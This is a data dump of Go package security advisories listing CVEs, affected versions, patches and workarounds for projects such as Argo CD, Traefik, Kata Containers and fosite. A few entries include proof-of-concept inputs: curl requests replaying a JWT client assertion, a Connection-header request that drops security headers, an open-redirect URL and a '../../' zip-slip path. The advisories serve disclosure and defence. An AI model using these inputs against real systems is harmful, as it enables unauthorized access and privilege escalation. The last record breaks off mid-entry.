Go | GHSA-6978-vg2j-cc9q | Improper Privilege Management and Execution with Unnecessary Privileges in Kata Containers | Kata Containers doesn't restrict containers from accessing the guest's root filesystem device. Malicious containers can exploit this to gain code execution on the guest and masquerade as the kata-agent. This issue affects Kata Containers 1.11 versions earlier than 1.11.1; Kata Containers 1.10 versions earlier than 1.10.5; and Kata Containers 1.9 and earlier versions. | {'CVE-2020-2023'} | 2021-10-20T17:38:18Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-250', 'CWE-269'} | {'https://github.com/kata-containers', 'https://github.com/kata-containers/agent/issues/791', 'https://github.com/kata-containers/runtime/releases/tag/1.10.5', 'https://github.com/kata-containers/runtime/releases/tag/1.11.1', 'https://github.com/kata-containers/runtime/pull/2477', 'https://nvd.nist.gov/vuln/detail/CVE-2020-2023', 'https://github.com/kata-containers/runtime/pull/2487', 'https://github.com/kata-containers/agent/pull/792', 'https://github.com/kata-containers/runtime/issues/2488'} | null |
Go | GHSA-6635-c626-vj4r | Command Injection Vulnerability with Mercurial in VCS | URLs and local file paths passed to the Mercurial (hg) APIs that are specially crafted can contain commands which are executed by Mercurial if it is installed on the host operating system. The `vcs` package uses the underly version control system, in this case `hg`, to implement the needed functionality. When `hg` is executed, argument strings are passed to `hg` in a way that additional flags can be set. The additional flags can be used to perform a command injection. Other version control systems with an implemented interface may also be vulnerable. The issue has been fixed in version 1.13.2. A work around is to sanitize data passed to the `vcs` package APIs to ensure it does not contain commands or unexpected data. This is important for user input data that is passed directly to the package APIs. | {'CVE-2022-21235'} | 2022-04-18T21:47:33Z | 2022-04-01T14:05:33Z | CRITICAL | null | {'CWE-88', 'CWE-77'} | {'https://github.com/Masterminds/vcs', 'https://github.com/Masterminds/vcs/pull/105', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21235', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078', 'https://github.com/Masterminds/vcs/security/advisories/GHSA-6635-c626-vj4r', 'https://github.com/Masterminds/vcs/commit/922a5122330ea8fbe56352a0172ddb6bf019cd22', 'https://github.com/Masterminds/vcs/releases/tag/v1.13.2'} | null |
Go | GHSA-cf55-rq8x-hm6f | Path Traversal in Dutchcoders transfer.sh | Dutchcoders transfer.sh before 1.2.4 allows Directory Traversal for deleting files. | {'CVE-2021-33497'} | 2021-05-28T18:00:48Z | 2021-06-29T21:25:33Z | CRITICAL | null | {'CWE-22'} | {'https://vuln.ryotak.me/advisories/44', 'https://github.com/dutchcoders/transfer.sh/releases/tag/v1.2.4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-33497', 'https://github.com/dutchcoders/transfer.sh/pull/373'} | null |
Go | GHSA-fpv6-f8jw-rc3r | Remote code execution via the web UI backend | ### Impact
Elvish's backend for the experimental web UI (started by `elvish -web`) hosts an endpoint that allows executing the code sent from the web UI.
The backend does not check the origin of requests correctly. As a result, if the user has the web UI backend open and visits a compromised or malicious website, the website can send arbitrary code to the endpoint in localhost.
### Patches
All Elvish releases since 0.14.0 no longer include the experimental web UI, although it is still possible for the user to build a version from source that includes it.
The issue can be patched for previous versions by removing the web UI (found in web, pkg/web or pkg/prog/web, depending on the exact version).
### Workarounds
Do not use the experimental web UI.
### For more information
If you have any questions or comments about this advisory, please email xiaqqaix@gmail.com. | {'CVE-2021-41088'} | 2021-09-23T21:06:47Z | 2021-09-23T23:17:33Z | MODERATE | null | {'CWE-668'} | {'https://github.com/elves/elvish/security/advisories/GHSA-fpv6-f8jw-rc3r', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41088', 'https://github.com/elves/elvish', 'https://github.com/elves/elvish/commit/ccc2750037bbbfafe9c1b7a78eadd3bd16e81fe5'} | null |
Go | GHSA-627p-rr78-99rj | GitLab auth uses full name instead of username as user ID, allowing impersonation | ### Impact
Installations which use the GitLab auth connector are vulnerable to identity spoofing by way of configuring a GitLab account with the same full name as another GitLab user who is granted access to a Concourse team by having their full name listed under `users` in the team configuration or given to the `--gitlab-user` flag.
See the [GitLab auth docs](https://concourse-ci.org/gitlab-auth.html) for details.
Concourse installations which do not configure the GitLab auth connector are not affected.
### Patches
Concourse [v6.3.1](https://github.com/concourse/concourse/releases/tag/v6.3.1) and [v6.4.1](https://github.com/concourse/concourse/releases/tag/v6.4.1) were both released with a fix on August 4th, 2020.
Both versions change the GitLab connector to use the username, rather than the full name. This was always the intent, and the previous behavior was originally reported as a bug (concourse/dex#7) prior to being reported as a security issue.
Any Concourse teams which configure GitLab users will have to switch each user from their full name to their username upon upgrading to these versions.
### Workarounds
GitLab groups do not have this vulnerability, so GitLab users may be moved into groups which are then configured in the Concourse team.
### References
* concourse/dex#12: PR with the fix
### For more information
If you have any questions or comments about this advisory, you may reach us privately at [concourseteam+security@gmail.com](mailto:concourseteam+security@gmail.com). | {'CVE-2020-5415'} | 2021-05-24T17:56:03Z | 2021-12-20T17:56:03Z | CRITICAL | null | {'CWE-290'} | {'https://tanzu.vmware.com/security/cve-2020-5415', 'https://github.com/concourse/concourse/security/advisories/GHSA-627p-rr78-99rj', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5415'} | null |
Go | GO-2020-0050 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-15216'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7', 'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64'} | null |
Go | GHSA-x27w-qxhg-343v | Access Restriction Bypass in go-ldap | In the ldap.v2 (aka go-ldap) package through 2.5.0 for Go, an attacker may be able to login with an empty password. This issue affects an application using this package if these conditions are met: (1) it relies only on the return error of the Bind function call to determine whether a user is authorized (i.e., a nil return value is interpreted as successful authorization) and (2) it is used with an LDAP server allowing unauthenticated bind. | {'CVE-2017-14623'} | 2021-05-20T17:02:56Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-287'} | {'https://github.com/go-ldap/ldap/commit/95ede1266b237bf8e9aa5dce0b3250e51bfefe66', 'https://github.com/go-ldap/ldap/pull/126', 'https://nvd.nist.gov/vuln/detail/CVE-2017-14623'} | null |
Go | GHSA-9qq2-xhmc-h9qr | Access Control Bypass | An issue was discovered in Rancher 2 through 2.1.5. Any project member with access to the default namespace can mount the netes-default service account in a pod, and then use that pod to execute administrative privileged commands against the k8s cluster. This could be mitigated by isolating the default namespace in a separate project, where only cluster admins can be given permissions to access. As of 2018-12-20, this bug affected ALL clusters created or imported by Rancher. | {'CVE-2018-20321'} | 2022-04-25T20:20:41Z | 2021-06-23T17:57:10Z | MODERATE | null | {'CWE-288', 'CWE-668'} | {'https://forums.rancher.com/c/announcements', 'https://github.com/rancher/rancher', 'https://rancher.com/blog/2019/2019-01-29-explaining-security-vulnerabilities-addressed-in-rancher-v2-1-6-and-v2-0-11/', 'https://github.com/rancher/rancher/commit/6ea187fcc2309d5a7a14ed47de5688bf6573f448', 'https://nvd.nist.gov/vuln/detail/CVE-2018-20321', 'https://github.com/rancher/rancher/releases/tag/v2.1.6'} | null |
Go | GHSA-c2h3-6mxw-7mvq | Insufficiently restricted permissions on plugin directories | ### Impact
A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files.
### Patches
This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability.
### Workarounds
Limit access to the host to trusted users. Update directory permission on container bundles directories.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github.com/containerd/containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)
| {'CVE-2021-41103'} | 2021-10-15T17:31:03Z | 2021-10-04T20:14:47Z | MODERATE | null | {'CWE-22'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-41103', 'https://github.com/containerd/containerd/releases/tag/v1.5.7', 'https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq', 'https://github.com/containerd/containerd/releases/tag/v1.4.11', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZNFADTCHHYWVM6W4NJ6CB4FNFM2VMBIB/', 'https://www.debian.org/security/2021/dsa-5002', 'https://github.com/containerd/containerd/commit/5b46e404f6b9f661a205e28d59c982d3634148f8', 'https://github.com/containerd/containerd', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B5Q6G6I4W5COQE25QMC7FJY3I3PAYFBB/'} | null |
Go | GHSA-h6h5-6fmq-rh28 | Path traversal allows leaking out-of-bound files from Argo CD repo-server | ### Impact
All unpatched versions of Argo CD starting with v1.5.0 are vulnerable to a path traversal vulnerability allowing a malicious user with read/write access to leak sensitive files from Argo CD's repo-server.
A malicious Argo CD user who has been granted [`create` or `update` access to Applications](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-resources-and-actions) can leak the contents of any text file on the repo-server. By crafting a malicious Helm chart and using it in an Application, the attacker can retrieve the sensitive file's contents either as part of the generated manifests or in an error message. The attacker would have to know or guess the location of the target file.
Sensitive files which could be leaked include files from other Application's source repositories (potentially decrypted files, if you are using a decryption plugin) or any secrets which have been mounted as files on the repo-server.
### Patches
A patch for this vulnerability has been released in the following Argo CD versions:
* v2.3.0
* v2.2.6
* v2.1.11
### Workarounds
The only certain way to avoid the vulnerability is to upgrade.
To mitigate the problem, you can
* avoid storing secrets in git
* avoid mounting secrets as files on the repo-server
* avoid decrypting secrets into files on the repo-server
* carefully [limit who can `create` or `update` Applications](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-resources-and-actions)
### References
* [Security documentation for the repo-server component](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/#git-helm-repositories)
* [Argo CD RBAC configuration documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#)
### For more information
Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd
| {'CVE-2022-24731'} | 2022-03-24T00:12:46Z | 2022-03-24T00:12:46Z | MODERATE | null | {'CWE-22', 'CWE-284'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-24731', 'https://github.com/argoproj/argo-cd', 'https://github.com/argoproj/argo-cd/security/advisories/GHSA-h6h5-6fmq-rh28'} | null |
Go | GHSA-v3q9-2p3m-7g43 | Token reuse in github.com/ory/fosite | ### Impact
When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`:
> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:
```
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
```
### Patches
_Has the problem been patched? What versions should users upgrade to?_
### Workarounds
Do not allow clients to use `private_key_jwt`.
### References
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication | {'CVE-2020-15222'} | 2021-11-19T15:24:07Z | 2021-05-24T16:57:52Z | HIGH | null | {'CWE-345', 'CWE-287'} | {'https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9', 'https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication', 'https://github.com/ory/fosite', 'https://github.com/ory/fosite/releases/tag/v0.31.0', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15222', 'https://github.com/ory/fosite/security/advisories/GHSA-v3q9-2p3m-7g43'} | null |
Go | GHSA-g3vv-g2j5-45f2 | Panic when processing certain blocks | ### Impact
Decoding certain blocks using the go-ipld-prime version of the dag-pb codec (go-codec-dagpb) can cause a panic. The panic comes from an assumption that the reported link length is accurate, but if the block ends before that reported length then it’s a buffer overread.
### Patches
The issue is fixed in v1.3.1 and above.
Consumers can discover the versions of `go-codec-dagpb` in a module's dependency graph using the following command in the module root:
```go mod graph | grep go-codec-dagpb```
### Workarounds
You can work around this issue without upgrading by recovering panics higher in the call stack of the goroutine that calls the defective code.
### For more information
If you have any questions or comments about this advisory:
* Ask in [IPFS Discord #ipld-chatter](https://discord.gg/ipfs)
* Open an issue in [go-codec-dagpb](https://github.com/ipld/go-codec-dagpb) | null | 2022-04-08T22:08:45Z | 2022-04-08T22:08:45Z | MODERATE | null | null | {'github.com/ipld/go-codec-dagpb', 'https://github.com/ipld/go-codec-dagpb/security/advisories/GHSA-g3vv-g2j5-45f2'} | null |
Go | GO-2020-0006 | null | An attacker may prevent TCP connections to a [`Server`][] by opening
a connection and leaving it idle, until the connection is closed by
the server no other connections will be accepted.
| {'CVE-2017-15133'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/miekg/dns/pull/631', 'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | null |
Go | GHSA-jhj6-5mh6-4pvf | Denial-of-Service within Docker container | ### Impact
If you run teler inside a Docker container and encounter `errors.Exit` function, it will cause denial-of-service (`SIGSEGV`) because it doesn't get process ID and process group ID of teler properly to kills.
### Patches
Upgrade to the >= 0.0.1 version.
### Workarounds
N/A
### References
- https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Issues Section](https://github.com/kitabisa/teler/issues)
* Email us at [infosec@kitabisa.com](mailto:infosec@kitabisa.com)
| {'CVE-2020-26213'} | 2021-10-06T21:44:05Z | 2021-05-24T17:00:46Z | MODERATE | null | {'CWE-476'} | {'https://github.com/kitabisa/teler', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26213', 'https://github.com/kitabisa/teler/security/advisories/GHSA-jhj6-5mh6-4pvf', 'https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e'} | null |
Go | GHSA-77rm-9x9h-xj3g | NULL Pointer Dereference in Protocol Buffers | Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater. | {'CVE-2021-22570'} | 2022-05-03T04:47:56.706467Z | 2022-01-27T00:01:15Z | HIGH | null | {'CWE-476'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BTRGBRC5KGCA4SK5MUNLPYJRAGXMBIYY/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRWRAXAFR3JR7XCFWTHC2KALSZKWACCE/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22570', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DVUZPALAQ34TQP6KFNLM4IZS6B32XSA/', 'https://security.netapp.com/advisory/ntap-20220429-0005/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NVTWVQRB5OCCTMKEQFY5MYED3DXDVSLP/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PAGL5M2KGYPN3VEQCRJJE6NA7D5YG5X/', 'https://github.com/protocolbuffers/protobuf', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IFX6KPNOFHYD6L4XES5PCM3QNSKZBOTQ/', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KQJB6ZPRLKV6WCMX2PRRRQBFAOXFBK6B/', 'https://github.com/protocolbuffers/protobuf/releases/tag/v3.15.0'} | null |
Go | GHSA-733f-44f3-3frw | Open redirect | macaron before 1.3.7 has an open redirect in the static handler, as demonstrated by the http://127.0.0.1:4000//example.com/ URL. | {'CVE-2020-12666'} | 2021-05-18T20:50:16Z | 2021-05-18T21:08:35Z | MODERATE | null | {'CWE-601'} | {'https://github.com/go-macaron/macaron/issues/198#issuecomment-622885959', 'https://github.com/go-macaron/macaron/issues/198', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12666', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3QEUOHRC4EN4WZ66EVFML2UCV7ZQ63XZ/', 'https://github.com/go-macaron/macaron/releases/tag/v1.3.7', 'https://github.com/go-macaron/macaron/pull/199/commits/6bd9385542f7133467ab7d09a5f28f7d5dc52af7'} | null |
Go | GHSA-mcq2-w56r-5w2w | Daemon panics when processing certain blocks | ### Impact
go-ipfs nodes with versions 0.10.0, 0.11.0, 0.12.0, or 0.12.1 can crash when trying to traverse certain malformed graphs due to an issue in the go-codec-dagpb dependency. Vulnerable nodes that work with these malformed graphs may crash leading to denial-of-service risks.
This particularly impacts nodes that download or export data that is controlled by external user input as there is the possibility that a malicious user of those services could (intentionally or unintentionally) cause the node to traverse a malformed graph. Some notable use cases include public gateways and pinning services which fetch data on behalf of users, as well as applications such as IPFS Companion which load data based on a user visiting a website with links to IPFS URLs.
### Patches
Versions v0.11.1 and v0.12.2 both resolve this issue. This should make it easy to upgrade, even if you have not yet performed the v0.12.0 migration.
For those running on forked versions of go-ipfs or who are on v0.10.0 and are having trouble with the v0.11.0 breaking changes, simply updating the version of `go-codec-dagpb` you are using to >=v1.3.2 should resolve the issue.
Any users of libraries within the go-ipfs ecosystem, even if not the go-ipfs package or binary itself, may be affected and should upgrade their dependency on go-codec-dagpb. You can check if your Go module has a dependency on `go-codec-dagpb` by running a command such as `go mod graph | grep go-codec-dagpb` in your module root.
### Workarounds
The best way to workaround this issue is to control exposure to any endpoints that allow for arbitrary IPLD traversals. This primarily includes the HTTP RPC API (https://docs.ipfs.io/reference/http/api ) and the Gateway API. If you are exposing those APIs, then do so within an environment where only trusted users and applications you control have access to it. You should be safe as long as your users and applications do not create malformed graphs, which should not happen using standard `go-ipfs` tooling.
If you previously had a more open access environment, then closing off access will only be sufficient if both of the following are true:
* The experimental GraphSync feature is disabled (https://github.com/ipfs/go-ipfs/blob/master/docs/experimental-features.md#graphsync)
* The only data being accessed is non-malformed data
### References
See also the [go-codec-dagpb security advisory](https://github.com/ipld/go-codec-dagpb/security/advisories/GHSA-g3vv-g2j5-45f2).
### For more information
If you have any questions or comments about this advisory:
* Ask in [IPFS Discord #ipfs-chatter](https://discord.gg/ipfs)
* Open an issue in [go-ipfs](https://github.com/ipld/go-ipfs) | null | 2022-04-08T22:09:23Z | 2022-04-08T22:09:23Z | HIGH | null | null | {'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-mcq2-w56r-5w2w', 'github.com/ipld/go-ipfs'} | null |
Go | GHSA-h74j-692g-48mq | Path Traversal in MHolt Archiver | All versions of archiver allow attacker to perform a Zip Slip attack via the "unarchive" functions. It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. | {'CVE-2019-10743'} | 2021-05-17T21:21:43Z | 2021-05-18T15:31:53Z | MODERATE | null | {'CWE-29'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-10743', 'https://github.com/mholt/archiver/commit/8217ed3a206c0473b4ec1aff51375b398838073a', 'https://snyk.io/research/zip-slip-vulnerability', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMHOLTARCHIVERCMDARC-174728,', 'https://github.com/mholt/archiver/pull/169', 'https://github.com/mholt/archiver/pull/203', 'https://github.com/snyk/zip-slip-vulnerability'} | null |
Go | GO-2021-0108 | null | Due to improper input sanitization, a maliciously constructed filename could cause a file
download to use an attacker controlled filename, as well as injecting additional headers
into a HTTP response.
| {'CVE-2020-15111'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/gofiber/fiber/commit/f698b5d5066cfe594102ae252cd58a1fe57cf56f', 'https://github.com/gofiber/fiber/pull/579', 'https://github.com/advisories/GHSA-9cx9-x2gp-9qvh'} | null |
Go | GHSA-m697-4v8f-55qg | Header dropping in traefik | # Impact
There exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse.
# Details
If you have a chain of Traefik middlewares, and one of them sets a request header `Important-Security-Header`, then sending a request with the following Connection header will cause it to be removed before the request was sent:
```
curl 'https://example.com' -H "Connection: Important-Security-Header" -0
```
In this case, the backend does not see the request header `Important-Security-Header`.
# Patches
Traefik v2.4.x: https://github.com/traefik/traefik/releases/tag/v2.4.13
# Workarounds
No.
# For more information
If you have any questions or comments about this advisory, [open an issue](https://github.com/traefik/traefik/issues).
| {'CVE-2021-32813'} | 2021-08-31T20:57:09Z | 2021-08-05T17:04:21Z | MODERATE | null | {'CWE-913'} | {'https://github.com/traefik/traefik/security/advisories/GHSA-m697-4v8f-55qg', 'https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32813', 'https://github.com/traefik/traefik/releases/tag/v2.4.13', 'github.com/traefik/traefik'} | null |
Go | GHSA-88jf-7rch-32qc | Path Traversal in github.com/unknwon/cae/tz | "The ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading "..". This allows an attacker to add or replace files system-wide." | {'CVE-2020-7668'} | 2022-01-04T19:33:14Z | 2021-05-18T20:31:18Z | HIGH | null | {'CWE-22'} | {'https://github.com/unknwon/cae/commit/07971c00a1bfd9dc171c3ad0bfab5b67c2287e11', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7668', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMUNKNWONCAETZ-570384', 'https://github.com/unknwon/cae'} | null |
Go | GHSA-35qp-xq9f-2rjx | Improper Privilege Management in HashiCorp Nomad | HashiCorp Nomad and Nomad Enterprise up to 0.12.9 exec and java task drivers can access processes associated with other tasks on the same node. Fixed in 0.12.10, and 1.0.3. | {'CVE-2021-3283'} | 2021-05-12T21:38:07Z | 2021-06-24T20:28:28Z | HIGH | null | {'CWE-269'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3283', 'https://discuss.hashicorp.com/t/hcsec-2021-01-nomad-s-exec-and-java-task-drivers-did-not-isolate-processes/20332'} | null |
Go | GHSA-ccw8-7688-vqx4 | Privilege Escalation in HashiCorp Consul | HashiCorp Consul and Consul Enterprise 1.10.1 Raft RPC layer allows non-server agents with a valid certificate signed by the same CA to access server-only functionality, enabling privilege escalation. Fixed in 1.8.15, 1.9.9 and 1.10.2. | {'CVE-2021-37219'} | 2021-09-14T18:47:09Z | 2021-09-08T20:14:48Z | HIGH | null | {'CWE-295'} | {'https://github.com/hashicorp/consul', 'https://www.hashicorp.com/blog/category/consul', 'https://discuss.hashicorp.com/t/hcsec-2021-22-consul-raft-rpc-privilege-escalation/29024', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37219'} | null |
Go | GHSA-9vp5-m38w-j776 | Aliases are never checked in helm | ### Impact
During a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the `alias` field on a `Chart.yaml` is not properly sanitized. This could lead to the injection of unwanted information into a chart.
### Patches
This issue has been patched in Helm 3.3.2 and 2.16.11
### Workarounds
Manually review the `dependencies` field of any untrusted chart, verifying that the `alias` field is either not used, or (if used) does not contain newlines or path characters. | {'CVE-2020-15184'} | 2021-11-19T15:29:12Z | 2021-05-24T16:56:58Z | LOW | null | {'CWE-20', 'CWE-74'} | {'https://github.com/helm/helm/commit/e7c281564d8306e1dcf8023d97f972449ad74850', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15184', 'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946', 'https://github.com/helm/helm', 'https://github.com/helm/helm/security/advisories/GHSA-9vp5-m38w-j776'} | null |
Go | GHSA-3382-r9q8-4hfg | Allocation of Resources Without Limits or Throttling in github.com/hashicorp/nomad | HashiCorp Nomad and Nomad Enterprise 1.x before 1.0.17, 1.1.x before 1.1.12, and 1.2.x before 1.2.6 is vulnerable to Allocation of Resources Without Limits or Throttling. | {'CVE-2022-24685'} | 2022-03-09T20:24:15Z | 2022-03-01T00:00:28Z | HIGH | null | {'CWE-770'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-24685', 'https://security.netapp.com/advisory/ntap-20220331-0007/', 'https://discuss.hashicorp.com', 'github.com/hashicorp/nomad', 'https://discuss.hashicorp.com/t/hcsec-2022-03-nomad-malformed-job-parsing-results-in-excessive-cpu-usage/35561'} | null |
Go | GO-2020-0010 | null | When using ECDH-ES an attacker can mount an invalid curve attack during
decryption as the supplied public key is not checked to be on the same
curve as the recievers private key.
| {'CVE-2016-9121'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | null |
Go | GHSA-wx8q-rgfr-cf6v | Insufficient Granularity of Access Control in github.com/google/exposure-notifications-verification-server | ### Impact
Users or API keys with permission to expire verification codes could have expired codes that belonged to another realm if they guessed the UUID.
### Patches
v1.1.2+
### Workarounds
There are no workarounds, and there are no indications this has been exploited in the wild. Verification codes can only be expired by providing their 64-bit UUID, and verification codes are already valid for a very short period of time (thus the UUID rotates frequently).
### For more information
Contact exposure-notifications-feedback@google.com | {'CVE-2021-22565'} | 2021-12-10T18:30:24Z | 2021-11-10T18:20:11Z | MODERATE | null | {'CWE-732', 'CWE-1220'} | {'https://github.com/google/exposure-notifications-verification-server/', 'https://github.com/google/exposure-notifications-verification-server/releases/tag/v1.1.2', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22565', 'https://github.com/google/exposure-notifications-verification-server/security/advisories/GHSA-wx8q-rgfr-cf6v'} | null |
Go | GO-2020-0047 | null | XML Digital Signatures generated and validated using this package use
SHA-1, which may allow an attacker to craft inputs which cause hash
collisions depending on their control over the input.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/RobotsAndPencils/go-saml/pull/38'} | null |
Go | GHSA-vrmr-f2qh-3hhf | Improper use of cryptographic key in wal-g | WAL-G before 1.1, when a non-libsodium build (e.g., one of the official binary releases published as GitHub Releases) is used, silently ignores the libsodium encryption key and uploads cleartext backups. This is arguably a Principle of Least Surprise violation because "the user likely wanted to encrypt all file activity." | {'CVE-2021-38599'} | 2021-08-30T17:30:36Z | 2021-09-02T17:17:16Z | HIGH | null | {'CWE-922'} | {'https://github.com/wal-g/wal-g', 'https://nvd.nist.gov/vuln/detail/CVE-2021-38599', 'https://github.com/wal-g/wal-g/pull/1062', 'https://github.com/wal-g/wal-g/releases/tag/v1.1', 'https://github.com/wal-g/wal-g/commit/cadf598e1c2a345915a21a44518c5a4d5401e2e3'} | null |
Go | GHSA-prqf-xr2j-xf65 | Potential privilege escalation on Kubernetes >= v1.19 when the Argo Sever is run with `--auth-mode=client` | ### Impact
This is pro-active fix. No know exploits exist.
Impacted:
* You're running Kubernetes >= v1.19
* You're running Argo Server
* It is configured to with `--auth-mode=client`
* Is not configured with `--auth-mode=server`
* You are not running Argo Server in Kubernetes pod. E.g. on bare metal or other VM.
* You're using client key to authenticate on the server.
* The server has more permissions that the connecting client's account.
The client's authentication will be ignored and the server's authentication will be used. This will result in privilege escalation to that of the the server's account.
### Patches
https://github.com/argoproj/argo-workflows/pull/6506
### Workarounds
None. | null | 2021-08-23T17:05:11Z | 2021-08-23T19:41:41Z | LOW | null | {'CWE-285'} | {'https://github.com/argoproj/argo-workflows/security/advisories/GHSA-prqf-xr2j-xf65'} | null |
Go | GHSA-x5c7-x7m2-rhmf | Local directory executable lookup in sops (Windows-only) | ### Impact
Windows users using the sops direct editor option (`sops file.yaml`) can have a local executable named either `vi`, `vim`, or `nano` executed if running sops from `cmd.exe`
